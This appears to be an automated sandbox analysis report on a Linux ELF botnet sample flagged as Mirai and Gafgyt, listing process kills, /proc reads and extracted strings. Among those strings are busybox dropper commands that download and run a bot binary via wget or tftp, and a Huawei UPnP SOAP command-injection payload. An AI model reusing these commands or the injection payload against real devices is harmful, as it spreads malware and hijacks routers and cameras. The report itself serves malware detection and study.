Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1465, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1477, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1489, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1579, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1582, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1586, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1594, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1599, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1622, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1623, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1627, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1629, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1632, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1633, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1638, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1639, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1642, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1648, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1654, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1656, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1661, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1664, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1668, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1698, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1699, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1809, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1888, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1890, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2009, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2018, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2033, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2038, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2077, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2078, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2079, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2080, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2083, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2084, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2114, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2128, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2129, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2146, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2156, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2180, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2195, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2208, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2226, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2235, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2242, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2275, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2281, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2285, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2289, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2294, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2307, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2637, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 3236, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6260, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6261, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6266, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6304, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6305, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6310, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6311, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6313, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6314, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6315, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6316, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6317, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6319, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6321, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6338, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6340, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6343, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6345, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6346, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6347, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6352, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6361, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6405, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6453, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6520, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6581, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6643, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6709, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6749, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6789, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6850, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6910, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6950, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6993, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 7033, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 7077, result: successful	Jump to behavior

Source: Initial sample	Potential command found: GET /arm HTTP/1.0
Source: Initial sample	Potential command found: GET /arm7 HTTP/1.0
Source: Initial sample	Potential command found: GET /mips HTTP/1.0
Source: Initial sample	Potential command found: GET /mpsl HTTP/1.0
Source: Initial sample	Potential command found: GET /sh4 HTTP/1.0

Source: ELF static info symbol of initial sample

.symtab present: no

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: /proc/2surf2vhoi2h{h2surf22h{h/exe//fd/socketproc/cmdlineself/mapsmil/lib//usr/bin//usr/sbin/var/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-serverusr/shellmnt/sys/bin/boot/media/srv/var/run/sbin/lib/etc/dev/home/Davincitelnetsshwatchdog/var/spool/var/Sofiasshdbashhttpdtelnetddropbearropbearencodersystem/root/dvr_gui//root/dvr_app//anko-app//opt/mipsel.nnmips.nnarm.nnarm5.nnarm6.nnarm7.nnx86_32.nnwget/.curlhttparmmipsPOST%s %s HTTP/1.1
Source: Initial sample	String containing 'busybox' found: /bin/busybox cat /proc/cpuinfo
Source: Initial sample	String containing 'busybox' found: /bin/busybox HBOT
Source: Initial sample	String containing 'busybox' found: /bin/busybox cat /bin/busybox
Source: Initial sample	String containing 'busybox' found: [tel] detected arm7 [%s:23 %s:%s]arm7/bin/busybox HBOT
Source: Initial sample	String containing 'busybox' found: [tel] detected arm4 [%s:23 %s:%s]/bin/busybox cat /bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox cp /bin/busybox .hbot && >.hbot && /bin/busybox chmod 777 .hbot && /bin/busybox cp /bin/busybox .dropper && >.dropper && /bin/busybox chmod 777 .dropper
Source: Initial sample	String containing 'busybox' found: /bin/busybox tftp -r %s -g %s; /bin/busybox chmod +x %s; ./%s
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://%s/%s -O -> hbot; /bin/busybox chmod +x hbot; ./hbot %s
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod 777 .dropper; ./.dropper
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -en '%s' %s .dropper; %s ; /bin/busybox echo -en '\x42\x41\x50\x45'
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .hbot; ./.hbot %s; /bin/busybox HDROP
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s -l /tmp/hakai -r /mips; /bin/busybox chmod 777 * /tmp/hakai; /tmp/hakai mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: [tel] sent wget/tftp payload \| proceeding to echo[%s:23 %s:%s %s]LOCKED %s:23 %s:%s %s\x%02x>>/bin/busybox chmod 777 .dropper; ./.dropper>.hbot/bin/busybox echo -en '%s' %s .dropper; %s ; /bin/busybox echo -en '\x42\x41\x50\x45'
Source: Initial sample	String containing 'busybox' found: [tel:echo] line [%d] dropped [%s:23 %s:%s %s][tel] [%s:23 %s:%s] [%s] echo complete, executing dropper and binary/bin/busybox chmod +x .hbot; ./.hbot %s; /bin/busybox HDROP

Source: classification engine

Classification label: mal92.spre.troj.linELF@0/126@0/0

Persistence and Installation Behavior

Sample reads /proc/mounts (often used for finding a writable filesystem)

Source: /bin/fusermount (PID: 6312)

File: /proc/6312/mounts

Jump to behavior

Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/6234/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/6234/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/6234/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/6234/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/6356/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/6356/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/3088/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/3088/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/230/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/230/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/110/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/110/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/231/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/231/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/111/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/111/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/232/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/232/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/112/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/112/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/233/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/233/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/113/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/113/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/234/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/234/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/1335/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/1335/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/114/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/114/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/235/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/235/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/1334/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/1334/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/1576/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/1576/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/115/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/115/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/236/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/236/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/116/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/116/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/237/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/237/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/117/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/117/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/118/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/118/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/910/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/910/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/119/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/119/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/912/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/912/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/10/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/10/maps	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	File opened: /proc/10/cmdline	Jump to behavior

Source: /tmp/JXOsTWvZ5f.elf (PID: 6229)

Queries kernel information via 'uname':

Jump to behavior

Source: JXOsTWvZ5f.elf, 6229.1.000055a731260000.000055a731310000.rw-.sdmp, JXOsTWvZ5f.elf, 6232.1.000055a731260000.000055a7312ef000.rw-.sdmp	Binary or memory string: !/etc/qemu-binfmt/ppc11!hotpluggableq
Source: JXOsTWvZ5f.elf, 6229.1.000055a731260000.000055a731310000.rw-.sdmp, JXOsTWvZ5f.elf, 6232.1.000055a731260000.000055a7312ef000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/ppc
Source: JXOsTWvZ5f.elf, 6229.1.00007ffc46eee000.00007ffc46f0f000.rw-.sdmp, JXOsTWvZ5f.elf, 6232.1.00007ffc46eee000.00007ffc46f0f000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-ppc
Source: JXOsTWvZ5f.elf, 6229.1.00007ffc46eee000.00007ffc46f0f000.rw-.sdmp, JXOsTWvZ5f.elf, 6232.1.00007ffc46eee000.00007ffc46f0f000.rw-.sdmp	Binary or memory string: :rvx86_64/usr/bin/qemu-ppc/tmp/JXOsTWvZ5f.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/JXOsTWvZ5f.elf
Source: JXOsTWvZ5f.elf, 6232.1.00007ffc46eee000.00007ffc46f0f000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: JXOsTWvZ5f.elf, type: SAMPLE
Source: Yara match	File source: 6229.1.00007f407c001000.00007f407c017000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6232.1.00007f407c001000.00007f407c017000.r-x.sdmp, type: MEMORY

Yara detected Gafgyt

Source: Yara match	File source: JXOsTWvZ5f.elf, type: SAMPLE
Source: Yara match	File source: 6229.1.00007f407c001000.00007f407c017000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6232.1.00007f407c001000.00007f407c017000.r-x.sdmp, type: MEMORY

Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11
Source: Initial sample	User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1
Source: Initial sample	User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: JXOsTWvZ5f.elf, type: SAMPLE
Source: Yara match	File source: 6229.1.00007f407c001000.00007f407c017000.r-x.sdmp, type: MEMORY
